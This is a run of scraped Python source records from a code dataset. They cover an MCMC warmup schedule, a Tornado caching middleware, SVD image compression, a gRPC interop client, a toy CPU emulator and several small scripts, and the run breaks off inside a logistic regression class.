is_mass_matrix_diagonal=True\n):\n \"\"\"Warmup scheme for empirical Hamiltonian Monte Carlo.\n\n Same as HMC + computes the longest batch distribution\n after the step size and mass matrix adaptation.\n \"\"\"\n pass\n\n\ndef warmup_schedule(num_steps, initial_buffer=75, first_window=25, final_buffer=50):\n \"\"\"Returns an adaptation warmup schedule.\n\n The schedule below is intended to be as close as possible to Stan's _[1].\n The warmup period is split into three stages:\n\n 1. An initial fast interval to reach the typical set.\n 2. \"Slow\" parameters that require global information (typically covariance)\n are estimated in a series of expanding windows with no memory.\n 3. Fast parameters are learned after the adaptation of the slow ones.\n\n See _[1] for a more detailed explanation.\n\n Parameters\n ----------\n num_warmup: int\n The number of warmup steps to perform.\n initial_buffer: int\n The width of the initial fast adaptation interval.\n first_window: int\n The width of the first slow adaptation interval. There are 5 such\n intervals; the width of a window interval is twice the size of the\n preceding.\n final_buffer: int\n The width of the final fast adaptation interval.\n\n References\n ----------\n .. [1]: Stan Reference Manual v2.22\n Section 15.2 \"HMC Algorithm\"\n \"\"\"\n schedule = []\n\n # Handle the situations where the numbrer of warmup steps is smaller than\n # the sum of the buffers' widths\n if num_steps < 20:\n schedule.append((0, num_steps - 1))\n return schedule\n\n if initial_buffer + first_window + final_buffer > num_steps:\n initial_buffer = int(0.15 * num_steps)\n final_buffer = int(0.1 * num_steps)\n first_window = num_steps - initial_buffer - final_buffer\n\n # First stage: adaptation of fast parameters\n schedule.append((0, initial_buffer - 1))\n\n # Second stage: adaptation of slow parameters\n final_buffer_start = num_steps - final_buffer\n\n next_size = first_window\n next_start = initial_buffer\n while next_start < final_buffer_start:\n start, size = next_size, next_start\n if 3 * size <= final_buffer_start - start:\n next_size = 2 * size\n else:\n size = final_buffer_start - start\n next_start = start + size\n schedule.append((start, next_start - 1))\n\n # Last stage: adaptation of fast parameters\n schedule.append((final_buffer_start, num_steps - 1))\n\n return schedule\n","sub_path":"mcx/inference/warmup.py","file_name":"warmup.py","file_ext":"py","file_size_in_byte":5807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"466036567","text":"# -*- coding: utf-8 -*-\n\nimport abc\nimport bson\nimport json\nimport time\nimport datetime\nimport decimal\n\nfrom tornado.options import options\nfrom tornado.web import RequestHandler\nfrom tornado import gen\n\nfrom dba.db import user_select_by_id\nfrom conf.global_settings import EXPIRE_TIME\n\n\nclass BaseHandler(RequestHandler):\n \"\"\"\n can_cache True or False\n cache_type [] or {}\n cache_data redis data\n cache_key redis key\n \"\"\"\n CAN_CACHE = False\n CACHE_KEY = None\n CACHE_FIELD = None\n CACHE_DATA = None\n CACHE_TYPE = None\n\n def __init__(self, application, request, **kwargs):\n super(BaseHandler, self).__init__(application, request, **kwargs)\n self.mysql = options.mysql\n self.redis = options.redis\n self.mongodb = options.mongodb\n\n def get_current_user(self):\n user_id = self.get_argument(\"user_id\")\n user = self.redis.hget(\"login:\", user_id)\n return json.loads(user).get(\"data\") if user else None\n\n @abc.abstractmethod\n def get(self, *args, **kwargs):\n return\n\n @abc.abstractmethod\n def post(self, *args, **kwargs):\n return\n\n @abc.abstractmethod\n def patch(self, *args, **kwargs):\n return\n\n\nclass MiddleWare(object):\n \"\"\"base middleware\"\"\"\n def process_request(self, request):\n pass\n\n def process_response(self, request, chunk):\n pass\n\n\nclass UserTracking(MiddleWare):\n\n @gen.coroutine\n def process_request(self, request):\n user_id = request.get_argument(\"user_id\", \"\")\n if user_id:\n timestamp = time.time()\n if not request.redis.hexists(\"login:\", user_id):\n user = yield gen.Task(user_select_by_id, request, user_id)\n user = json.dumps({\"data\": user, \"cache_time\": timestamp}, ensure_ascii=False, cls=MyJSONEncoder)\n request.redis.hset(\"login:\", user_id, user)\n else:\n cache_data = request.redis.hget(\"login:\", user_id)\n cache_time = json.loads(cache_data).get(\"cache_time\")\n if (timestamp - cache_time) >= EXPIRE_TIME:\n user = yield gen.Task(user_select_by_id, request, user_id)\n user = json.dumps({\"data\": user, \"cache_time\": timestamp}, ensure_ascii=False, cls=MyJSONEncoder)\n request.redis.hset(\"login:\", user_id, user)\n request.redis.zadd(\"recent:\", user_id, timestamp)\n\n def process_response(self, request, chunk):\n timestamp = time.time()\n user_id = request.get_argument(\"user_id\", \"\")\n if user_id and isinstance(chunk, dict) and isinstance(request.CACHE_TYPE, dict):\n request.redis.zadd(\"viewed:\" + user_id, chunk[\"data\"], timestamp)\n request.redis.zremrangebyrank(\"viewed:\" + user_id, 0, -31)\n\n\nclass CacheRequest(MiddleWare):\n\n def process_request(self, request):\n timestamp = time.time()\n if request.CAN_CACHE:\n pk = request.get_argument(\"pk\", \"\")\n page_key = request.CACHE_FIELD + pk\n print(page_key)\n\n if request.redis.hexists(request.CACHE_KEY, page_key):\n data = json.loads(request.redis.hget(request.CACHE_KEY, page_key))\n cache_time = data.get(\"cache_time\")\n if (timestamp - cache_time) < EXPIRE_TIME:\n request.CACHE_DATA = data.get(\"data\")\n else:\n request.redis.hdel(request.CACHE_KEY, page_key)\n\n\nclass MiddleWareHandler(BaseHandler):\n\n __middleware_list = [UserTracking(), CacheRequest()]\n\n def prepare(self):\n for middleware in self.__middleware_list:\n middleware.process_request(self)\n\n def write(self, chunk):\n super(MiddleWareHandler, self).write(chunk)\n\n def finish(self, chunk=None):\n \"\"\"\n make something when finish the response\n :param chunk: response data\n \"\"\"\n super(MiddleWareHandler, self).finish(chunk)\n for middleware in self.__middleware_list:\n middleware.process_response(self, chunk)\n\n def on_finish(self):\n \"\"\"\n execute after finish,usually used for the release of resources\n \"\"\"\n pass\n\n def write_error(self, status_code, **kwargs):\n super(MiddleWareHandler, self).write_error(status_code, **kwargs)\n exc_cls, exc_instance, trace = kwargs.get(\"exc_info\")\n if status_code != 200:\n self.set_status(status_code)\n self.write({\"msg\": str(exc_instance)})\n\n @abc.abstractmethod\n def get(self, *args, **kwargs):\n return\n\n\nclass MyJSONEncoder(json.JSONEncoder):\n \"\"\"use for `json.dumps` when `datetime` and `decimal` object in dict\"\"\"\n def default(self, obj):\n if isinstance(obj, (datetime.datetime,)):\n return obj.strftime('%Y-%m-%d %H:%M:%S')\n elif isinstance(obj, (datetime.date,)):\n return obj.strftime('%Y-%m-%d')\n elif isinstance(obj, (decimal.Decimal,)):\n return str(obj)\n elif isinstance(obj, bson.objectid.ObjectId):\n return str(obj)\n else:\n return super(MyJSONEncoder, self).default(obj)\n\n\n@gen.coroutine\ndef get_next_val(mongodb_key):\n ret = yield options.mongodb.counters.find_and_modify({\"_id\": mongodb_key}, {\"$inc\": {\"value\": 1}})\n try:\n return ret[\"value\"]\n except TypeError:\n yield options.mongodb.counters.insert({\"_id\": mongodb_key, \"value\": 0})\n return 0\n\n\n# class MyJSONEncoder(json.JSONEncoder):\n# \"\"\"use for `json.dumps` when `datetime` and `decimal` object in dict\"\"\"\n# def default(self, obj):\n# if isinstance(obj, (datetime.datetime,)):\n# return {\"val\": obj.strftime('%Y-%m-%d %H:%M:%S'), \"_meta_type\": \"datetime\"}\n# elif isinstance(obj, (decimal.Decimal,)):\n# return {\"val\": str(obj), \"_meta_type\": \"decimal\"}\n# else:\n# return super(MyJSONEncoder, self).default(obj)\n\n\n# def object_hook(obj):\n# \"\"\"use for `json.loads` when `datetime` and `decimal` object in dict\"\"\"\n# _meta_type = obj.get('_meta_type')\n# if not _meta_type:\n# return obj\n#\n# if _meta_type == \"datetime\":\n# return datetime.datetime.strptime(obj[\"val\"], '%Y-%m-%d %H:%M:%S')\n# elif _meta_type == \"decimal\":\n# return decimal.Decimal(obj['val'])\n# else:\n# raise Exception('Unknown {}'.format(_meta_type))\n\n","sub_path":"common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"622469828","text":"from numpy import *\nfrom numpy import linalg as la\n\n\"\"\"\nVD 是一种强大的降维工具,我们可以利用 SVD 来逼近矩阵并从中提取重要特征。通过保留矩阵 80% ~ 90% 的能量,就可以得到重要的特征并去掉噪声。\n原始的图像大小是 32×32=1024 像素,我们能否使用更少的像素来表示这张图呢?如果能对图像进行压缩,那么就可以节省空间或带宽开销了。我们可以使用 SVD 来对数据降维,从而实现图像的压缩。\n\nU和VT都是32*32的矩阵,有两个奇异值。因此总数字数目是64+64+2=130。和原数目1024相比,我们获得了几乎10倍的压缩比。\n\"\"\"\n\n\n# 打印矩阵。由于矩阵包含了浮点数,因此必须定义浅色和深色。\ndef printMat(inMat, thresh=0.8):\n for i in range(32):\n for k in range(32):\n if float(inMat[i, k]) > thresh:\n print(1, end=''),\n else:\n print(0, end=''),\n print('')\n\n\n# 压缩\ndef imgCompress(numSV=3, thresh=0.8):\n myl = []\n for line in open('0_5.txt').readlines():\n newRow = []\n for i in range(32):\n newRow.append(int(line[i]))\n myl.append(newRow)\n myMat = mat(myl)\n print(\"****original matrix******\")\n printMat(myMat, thresh)\n U, Sigma, VT = la.svd(myMat) # SVD分解得到特征矩阵\n SigRecon = mat(zeros((numSV, numSV))) # 初始化新对角矩阵\n for k in range(numSV): # 构造对角矩阵,将特征值填充到对角线\n SigRecon[k, k] = Sigma[k]\n reconMat = U[:, :numSV] * SigRecon * VT[:numSV, :] # 降维\n print(\"****reconstructed matrix using %d singular values******\" % numSV)\n printMat(reconMat, thresh)\n\n\nif __name__ == \"__main__\":\n imgCompress(2)\n","sub_path":"main/ML/svd/svdCompress.py","file_name":"svdCompress.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"218631439","text":"import numpy as np\nimport tsp_exceptions\n\n# REINS.M (RE-INSertion of offspring in population replacing parents)\n# This function reinserts offspring in the population.\n\n\n\ndef tsp_reins(REINS_F, parentChrom, offspringChrom,fitnessParents,fitnessChildren,elitePercentage,SUBPOP=1):\n\n\t(nindParent,tmp) = parentChrom.shape\n\t(nindOffspring,tmp) = offspringChrom.shape \n\n\tif len(fitnessParents) != nindParent or len(fitnessChildren) != nindOffspring:\n\t\traise tsp_exceptions.disagree('Dimension mismatch between chromosomes and fitness vectors')\n\n\tif nindParent % SUBPOP != 0 or nindOffspring % SUBPOP != 0:\n\t\traise tsp_exceptions.disagree('Cannot equally sized subpopulations')\n\t\n\tnParents = nindParent//SUBPOP\n\tnOffspring = nindOffspring//SUBPOP\n\n\tnewChrom = []\n\tobjVCh = []\n\tfor irun in range(SUBPOP):\n\t\trunParents = parentChrom[nParents*irun:nParents*(irun+1)]\n\t\trunParentFitness = fitnessParents[nParents*irun:nParents*(irun+1)]\n\t\trunOffSpring = offspringChrom[nOffspring*irun:nOffspring*(irun+1)]\n\t\trunOffSpringFitness = fitnessChildren[nOffspring*irun:nOffspring*(irun+1)]\n\n\t\tnewChromSub, objVSub = REINS_F( runParents, runOffSpring, runParentFitness, runOffSpringFitness, elitePercentage)\n\t\tnewChrom = newChrom + newChromSub\n\t\tobjVCh = objVCh + objVSub\n\t\n\treturn np.matrix(newChrom), np.array(objVCh)\n\n","sub_path":"src/tsp_reins.py","file_name":"tsp_reins.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"210416207","text":"from bayes_implicit_solvent.marginal_likelihood.two_types_forward_ais import rejection_sample_from_prior, log_prior, log_likelihood, annealed_log_posterior,\\\n ll, n_conf, dataset\nimport numpy as np\nfrom bayes_implicit_solvent.marginal_likelihood.single_type_forward_smc import CESS_SMC\n\nif __name__ == '__main__':\n np.random.seed(0)\n n_particles = 100\n print(\"ll, n_conf, dataset, n_particles\", ll, n_conf, dataset, n_particles)\n\n initial_particles = np.array([rejection_sample_from_prior() for _ in range(n_particles)])\n\n thresh = 0.99\n n_mcmc_steps = 5\n resample_thresh = 0.5\n lambdas, particle_snapshots, log_q_s, incremental_log_weights, current_log_weights, stepsizes, acceptance_rates = \\\n CESS_SMC(initial_particles,\n log_prior=log_prior, log_likelihood=log_likelihood, annealed_log_posterior=annealed_log_posterior,\n thresh=thresh, resample_thresh=resample_thresh, n_mcmc_steps=n_mcmc_steps)\n np.savez('cess_smc_tinker_two_types_thresh={},n_mcmc_steps={},ll={},n_conf={},resample_thresh={},dataset={}.npz'.format(thresh, n_mcmc_steps, ll, n_conf, resample_thresh, dataset),\n lambdas=lambdas,\n particle_snapshots=particle_snapshots,\n log_q_s=np.array(log_q_s),\n incremental_log_weights=np.array(incremental_log_weights),\n current_log_weights=np.array(current_log_weights),\n stepsizes=stepsizes,\n acceptance_rates=acceptance_rates,\n )\n","sub_path":"bayes_implicit_solvent/marginal_likelihood/two_types_forward_smc.py","file_name":"two_types_forward_smc.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"591996919","text":"# Copyright 2020 The gRPC authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport argparse\nimport logging\nimport signal\nimport threading\nimport time\nimport sys\n\nfrom typing import DefaultDict, Dict, List, Mapping, Set\nimport collections\n\nfrom concurrent import futures\n\nimport grpc\n\nfrom src.proto.grpc.testing import test_pb2\nfrom src.proto.grpc.testing import test_pb2_grpc\nfrom src.proto.grpc.testing import messages_pb2\nfrom src.proto.grpc.testing import empty_pb2\n\nlogger = logging.getLogger()\nconsole_handler = logging.StreamHandler()\nformatter = logging.Formatter(fmt='%(asctime)s: %(levelname)-8s %(message)s')\nconsole_handler.setFormatter(formatter)\nlogger.addHandler(console_handler)\n\n\nclass _StatsWatcher:\n _start: int\n _end: int\n _rpcs_needed: int\n _rpcs_by_peer: DefaultDict[str, int]\n _no_remote_peer: int\n _lock: threading.Lock\n _condition: threading.Condition\n\n def __init__(self, start: int, end: int):\n self._start = start\n self._end = end\n self._rpcs_needed = end - start\n self._rpcs_by_peer = collections.defaultdict(int)\n self._condition = threading.Condition()\n self._no_remote_peer = 0\n\n def on_rpc_complete(self, request_id: int, peer: str) -> None:\n \"\"\"Records statistics for a single RPC.\"\"\"\n if self._start <= request_id < self._end:\n with self._condition:\n if not peer:\n self._no_remote_peer += 1\n else:\n self._rpcs_by_peer[peer] += 1\n self._rpcs_needed -= 1\n self._condition.notify()\n\n def await_rpc_stats_response(self, timeout_sec: int\n ) -> messages_pb2.LoadBalancerStatsResponse:\n \"\"\"Blocks until a full response has been collected.\"\"\"\n with self._condition:\n self._condition.wait_for(lambda: not self._rpcs_needed,\n timeout=float(timeout_sec))\n response = messages_pb2.LoadBalancerStatsResponse()\n for peer, count in self._rpcs_by_peer.items():\n response.rpcs_by_peer[peer] = count\n response.num_failures = self._no_remote_peer + self._rpcs_needed\n return response\n\n\n_global_lock = threading.Lock()\n_stop_event = threading.Event()\n_global_rpc_id: int = 0\n_watchers: Set[_StatsWatcher] = set()\n_global_server = None\n\n\ndef _handle_sigint(sig, frame):\n _stop_event.set()\n _global_server.stop(None)\n\n\nclass _LoadBalancerStatsServicer(test_pb2_grpc.LoadBalancerStatsServiceServicer\n ):\n\n def __init__(self):\n super(_LoadBalancerStatsServicer).__init__()\n\n def GetClientStats(self, request: messages_pb2.LoadBalancerStatsRequest,\n context: grpc.ServicerContext\n ) -> messages_pb2.LoadBalancerStatsResponse:\n logger.info(\"Received stats request.\")\n start = None\n end = None\n watcher = None\n with _global_lock:\n start = _global_rpc_id + 1\n end = start + request.num_rpcs\n watcher = _StatsWatcher(start, end)\n _watchers.add(watcher)\n response = watcher.await_rpc_stats_response(request.timeout_sec)\n with _global_lock:\n _watchers.remove(watcher)\n logger.info(\"Returning stats response: {}\".format(response))\n return response\n\n\ndef _start_rpc(request_id: int, stub: test_pb2_grpc.TestServiceStub,\n timeout: float, futures: Mapping[int, grpc.Future]) -> None:\n logger.info(f\"Sending request to backend: {request_id}\")\n future = stub.UnaryCall.future(messages_pb2.SimpleRequest(),\n timeout=timeout)\n futures[request_id] = future\n\n\ndef _on_rpc_done(rpc_id: int, future: grpc.Future,\n print_response: bool) -> None:\n exception = future.exception()\n hostname = \"\"\n if exception is not None:\n if exception.code() == grpc.StatusCode.DEADLINE_EXCEEDED:\n logger.error(f\"RPC {rpc_id} timed out\")\n else:\n logger.error(exception)\n else:\n response = future.result()\n logger.info(f\"Got result {rpc_id}\")\n hostname = response.hostname\n if print_response:\n if future.code() == grpc.StatusCode.OK:\n logger.info(\"Successful response.\")\n else:\n logger.info(f\"RPC failed: {call}\")\n with _global_lock:\n for watcher in _watchers:\n watcher.on_rpc_complete(rpc_id, hostname)\n\n\ndef _remove_completed_rpcs(futures: Mapping[int, grpc.Future],\n print_response: bool) -> None:\n logger.debug(\"Removing completed RPCs\")\n done = []\n for future_id, future in futures.items():\n if future.done():\n _on_rpc_done(future_id, future, args.print_response)\n done.append(future_id)\n for rpc_id in done:\n del futures[rpc_id]\n\n\ndef _cancel_all_rpcs(futures: Mapping[int, grpc.Future]) -> None:\n logger.info(\"Cancelling all remaining RPCs\")\n for future in futures.values():\n future.cancel()\n\n\ndef _run_single_channel(args: argparse.Namespace):\n global _global_rpc_id # pylint: disable=global-statement\n duration_per_query = 1.0 / float(args.qps)\n with grpc.insecure_channel(args.server) as channel:\n stub = test_pb2_grpc.TestServiceStub(channel)\n futures: Dict[int, grpc.Future] = {}\n while not _stop_event.is_set():\n request_id = None\n with _global_lock:\n request_id = _global_rpc_id\n _global_rpc_id += 1\n start = time.time()\n end = start + duration_per_query\n _start_rpc(request_id, stub, float(args.rpc_timeout_sec), futures)\n _remove_completed_rpcs(futures, args.print_response)\n logger.debug(f\"Currently {len(futures)} in-flight RPCs\")\n now = time.time()\n while now < end:\n time.sleep(end - now)\n now = time.time()\n _cancel_all_rpcs(futures)\n\n\ndef _run(args: argparse.Namespace) -> None:\n logger.info(\"Starting python xDS Interop Client.\")\n global _global_server # pylint: disable=global-statement\n channel_threads: List[threading.Thread] = []\n for i in range(args.num_channels):\n thread = threading.Thread(target=_run_single_channel, args=(args,))\n thread.start()\n channel_threads.append(thread)\n _global_server = grpc.server(futures.ThreadPoolExecutor())\n _global_server.add_insecure_port(f\"0.0.0.0:{args.stats_port}\")\n test_pb2_grpc.add_LoadBalancerStatsServiceServicer_to_server(\n _LoadBalancerStatsServicer(), _global_server)\n _global_server.start()\n _global_server.wait_for_termination()\n for i in range(args.num_channels):\n thread.join()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description='Run Python XDS interop client.')\n parser.add_argument(\n \"--num_channels\",\n default=1,\n type=int,\n help=\"The number of channels from which to send requests.\")\n parser.add_argument(\"--print_response\",\n default=False,\n action=\"store_true\",\n help=\"Write RPC response to STDOUT.\")\n parser.add_argument(\n \"--qps\",\n default=1,\n type=int,\n help=\"The number of queries to send from each channel per second.\")\n parser.add_argument(\"--rpc_timeout_sec\",\n default=30,\n type=int,\n help=\"The per-RPC timeout in seconds.\")\n parser.add_argument(\"--server\",\n default=\"localhost:50051\",\n help=\"The address of the server.\")\n parser.add_argument(\n \"--stats_port\",\n default=50052,\n type=int,\n help=\"The port on which to expose the peer distribution stats service.\")\n parser.add_argument('--verbose',\n help='verbose log output',\n default=False,\n action='store_true')\n parser.add_argument(\"--log_file\",\n default=None,\n type=str,\n help=\"A file to log to.\")\n args = parser.parse_args()\n signal.signal(signal.SIGINT, _handle_sigint)\n if args.verbose:\n logger.setLevel(logging.DEBUG)\n if args.log_file:\n file_handler = logging.FileHandler(args.log_file, mode='a')\n file_handler.setFormatter(formatter)\n logger.addHandler(file_handler)\n _run(args)\n","sub_path":"MY_REPOS/misc-experiments/_FIREBFIRE/grpc-SwiftPM/src/python/grpcio_tests/tests_py3_only/interop/xds_interop_client.py","file_name":"xds_interop_client.py","file_ext":"py","file_size_in_byte":9141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"89487594","text":"class Solution:\n def integerBreak(self, n):\n dp = [None]\n for i in range(1, n+1):\n dp.append(i)\n print(\"dp\", dp)\n for k in range(2, n+1):\n i = 1\n j = k-1\n maxpro = 0\n while i <= j:\n maxpro = max(maxpro, max(i, dp[i]) * max(j, dp[j]))\n i += 1\n j -= 1\n dp[k] = maxpro\n print(\"dp\", dp)\n return dp[n]\n\nsol = Solution()\nprint(\"result\", sol.integerBreak(8))\n","sub_path":"IntegerBreak.py","file_name":"IntegerBreak.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"382906041","text":"import random as random\n\nguesses = 0\nlast_difference = 0\nrandom_number = random.randint(1, 100)\nentered_number = int(input(\"Choose a number: \"))\n\nwhile (random_number != entered_number):\n \t\n\t# Error message\n\tif (1 > entered_number > 100):\n\t\tprint(\"OUT OF BOUNDS: guess a number between 1 and 100.\")\n\t\tcontinue\n\n\t# Aid on first turn \n\tif (guesses == 0):\n\t\tif ((random_number - 10) <= entered_number <= (random_number + 10)):\n\t\t\tprint(\"WARM!\")\n\t\telse:\n\t\t\tprint(\"COLD\")\n\n\t# Aid on other turns\n\tdifference = abs(entered_number - random_number)\n\tif (guesses > 0):\n\t\tif (difference < last_difference):\n\t\t\tprint(\"WARMER!\")\n\t\telse:\n\t\t\tprint(\"COLDER!\")\n\n\t# recalculate last_difference\n\tlast_difference = difference\n\t\n\t# Increment guesses\n\tguesses += 1\n\n\t# Next guess\n\tentered_number = int(input(\"Choose your next number: \"))\n\n\nprint(\"Congratulations! You guessed the number.\")\nprint(f\"Required guesses: {guesses}\")","sub_path":"games/01-guessing_game.py","file_name":"01-guessing_game.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"525610951","text":"# 1) Changing the file to include all the data for the year of 2018\n# 2) Change the title to - Daily and low high temperatures - 2018\n# 3) Extract low temps from the file and add to chart\n# 4) Shade in the area between high and low\n\n\nimport csv\nfrom datetime import datetime\n\nopen_file = open(\"death_valley_2018_simple.csv\", \"r\")\n\ncsv_file = csv.reader(open_file, delimiter=\",\")\n\nheader_row = next(csv_file)\n\nprint(type(header_row))\n\n# The enumerate() function returns both the index of each item and\n# the value of each item as you loop through a list.\n\nfor index, column_header in enumerate(header_row):\n print(\"Index:\", index, \"Column Name:\", column_header)\n print(index, column_header)\n\nhighs = []\ndates = []\nlows = []\n\n\n# as an example\n# mydate = \"2018-07-01\"\n# converted_date = datetime.strptime(mydate, \"%Y-%m-%d\")\n\n# print(converted_date)\n\n# We call the method strptime() using the string containing the dataa we want to work with\n# as its first argument. The second argument tells Python how the date is formatted.\n# In this example, Python interprets \"%Y-\" to mean the part of the string before the first\n# dash is a four-digit year; \"%m-\" means the part of the string before the second dash is\n# the number representing the month; and \"%d-\" means the last part of te string is the day of\n# the month from 1 to 31.\n\nfor row in csv_file:\n try:\n high = int(row[4])\n low = int(row[5])\n converted_date = datetime.strptime(row[2], \"%Y-%m-%d\")\n except ValueError:\n print(\"missing data for {converted_date}\")\n else:\n highs.append(high)\n lows.append(low)\n dates.append(converted_date)\n\n# print(highs)\n\n# Plot highs on a chart\n\nimport matplotlib.pyplot as plt\n\n# Matplotlib's pyplot API has a convenience function called subplots() which acts as a\n# utility wrapper and helps in creating common layouts of subplots, including the\n# enclosing figure object, in a single cell.\n\n# ax = plt.subplots()\n\nfig = plt.figure()\n\n\nplt.plot(dates, highs, c=\"red\")\nplt.plot(dates, lows, c=\"blue\")\n\n# The cell to fig.autofmt_xdate() draws the date labels diagonally to prevent them from\n# overlapping.\n\nfig.autofmt_xdate()\n\n# We pass fill_between() the list dates for the x-values and then the two y-value series highs\n# and lows. The facecolor argument determines the color of the shades region; we give it\n# low alpha value of 0.1 so the filled region connects the two data series without distracting\n# from the information they represent.\n\nplt.fill_between(dates, highs, lows, facecolor=\"blue\", alpha=0.1)\n\nplt.title(\"Daily high and low temperatures - 2018\", fontsize=16)\nplt.xlabel(\"\", fontsize=12)\nplt.ylabel(\"Temperature (F)\", fontsize=12)\nplt.tick_params(axis=\"both\", labelsize=12)\n\nplt.show()\n","sub_path":"death_valley4.py","file_name":"death_valley4.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"22094353","text":"PRINT_TIM = 0b01 # 1 This is 1-byte command\nHALT = 0b10 # 2\nPRINT_NUM = 0b11 # opcode 3\nSAVE = 0b100\nPRINT_REG = 0b101 # opcode 5\nADD = 0b110\nPUSH = 0b111\nPOP = 0b1000\nCALL = 0b1001\nRET = 0b1010\n\n\n\n# RAM (a slot in memory)\n# memory = [\n# PRINT_TIM,\n# PRINT_TIM,\n# PRINT_NUM, # this is 2-byte command, because we want to print the next thing (42)\n# 42,\n# SAVE, # this is a 3-byte instruction, because it takes next 2 additional bytes\n# 2, # register to put number in\n# 99, # number to save\n# SAVE,\n# 3,\n# 1,\n# ADD, # registers[2] = registers[2] + registers[3]\n# 2,\n# 3,\n# PRINT_REG, # prints whatever is on specified register\n# 2, # register we want to look at\n# HALT\n# ] \n\nimport sys\n\nmemory = [0] * 256\n\ndef load_memory(file_name):\n try:\n address = 0\n with open(file_name) as file:\n for line in file:\n split_line = line.split('#')[0]\n command = split_line.strip()\n \n if command == '':\n continue\n\n instruction = int(command, 2)\n memory[address] = instruction\n \n address += 1\n \n\n except FileNotFoundError:\n print(f'{sys.argv[0]}: {sys.argv[1]} file was not found')\n sys.exit()\n\nif len(sys.argv) < 2:\n print(\"Please pass in a second filename: python in_and_out.py second_filename.py\")\n sys.exit()\n\nfile_name = sys.argv[1]\nload_memory(file_name)\n\n# Write a program to pull each command out of memory and execute\n# we can loop over it!\n\n# register aka memory\nregisters = [0] * 8\nregisters[7] = 0xF4\n# [0,0,99,0,0,0,0,0]\n# save the number 99 into R2 (register2)\n# registers ranges: R0-R7\n\n\npc = 0 # program counter\nrunning = True\nwhile running:\n command = memory[pc]\n \n if command == PRINT_TIM:\n print(\"Tim!\")\n pc += 1\n \n if command == HALT:\n running = False\n pc += 1\n \n if command == PRINT_NUM:\n num_to_print = memory[pc+1]\n print(num_to_print)\n pc += 2\n\n if command == SAVE:\n reg = memory[pc + 1]\n num_to_save = memory[pc + 2]\n registers[reg] = num_to_save\n pc += 3\n\n if command == PRINT_REG:\n reg_index = memory[pc+1]\n print(registers[reg_index])\n pc += 2\n \n if command == ADD:\n first_reg = memory[pc+1]\n sec_reg = memory[pc+2]\n registers[first_reg] = registers[first_reg] + registers[sec_reg]\n pc += 3\n\n if command == PUSH:\n # decrement the stack pointer\n registers[7] -= 1\n\n # get a value from the given register\n reg = memory[pc+1]\n value = registers[reg]\n \n # put it on the stack pointer address\n sp = registers[7]\n memory[sp] = value\n\n pc += 2\n\n if command == POP:\n # get the stack pointer (where do we look?)\n sp = registers[7]\n\n # get register number to put value in\n reg = memory[pc+1]\n \n # use stack pointer to get the value\n value = memory[sp]\n # put the value into the given register\n registers[reg] = value\n\n # increment our stack pointer\n registers[7] += 1\n # increment our program counter\n pc += 2\n\n if command == CALL:\n # get register number\n reg = memory[pc+1]\n # get the address to jump to, from the register\n address = registers[reg]\n\n # push command right after CALL onto the stack\n return_address = pc + 2\n # decrement stack pointer\n registers[7] -= 1\n sp = registers[7]\n # put return_address on the stack\n memory[sp] = return_address\n \n # then look at register, jump to that address\n pc = address\n\n if command == RET:\n # pop the return address off the stack\n sp = registers[7]\n return_address = memory[sp]\n registers[7] += 1\n\n # go to return address: set the pc to return address\n pc = return_address\n","sub_path":"simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":4168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"592673505","text":"from os.path import isfile, join\nfrom os import listdir\nimport pickle\nimport math\nfrom pprint import pprint\nfrom scipy import stats\nimport helper as hp\nimport random\n\n# confidence is correlated with rm accuracy:\n# Slope: 0.11654135338345863\n# Intercept: 0.30451127819548884\n# R value: 0.17588130725452997\n# P value: 1.229128907610305e-15\n\nuncertainty_dict_loc = 'r_squared_dict24_added'\n#uncertainty_dict_loc = 'sigmoid_dict24'\nuncertainty_dict_loc = 'dispersion_dict24'\ntrain_percent = 1\n\nfrom sklearn import linear_model\nimport numpy as np\nimport scipy.stats as stat\nfrom sklearn.metrics import accuracy_score\n\n\n\nclass LogisticReg:\n # From: https://gist.github.com/rspeare/77061e6e317896be29c6de9a85db301d\n \"\"\"\n Wrapper Class for Logistic Regression which has the usual sklearn instance\n in an attribute self.model, and pvalues, z scores and estimated\n errors for each coefficient in\n\n self.z_scores\n self.p_values\n self.sigma_estimates\n\n as well as the negative hessian of the log Likelihood (Fisher information)\n\n self.F_ij\n \"\"\"\n\n def __init__(self, *args, **kwargs): # ,**kwargs):\n self.model = linear_model.LogisticRegression(*args, **kwargs) # ,**args)\n\n def fit(self, X, y):\n self.model.fit(X, y)\n #### Get p-values for the fitted model ####\n denom = (2.0 * (1.0 + np.cosh(self.model.decision_function(X))))\n F_ij = np.dot((X / denom[:, None]).T, X) ## Fisher Information Matrix\n Cramer_Rao = np.linalg.inv(F_ij) ## Inverse Information Matrix\n sigma_estimates = np.array(\n [np.sqrt(Cramer_Rao[i, i]) for i in range(Cramer_Rao.shape[0])]) # sigma for each 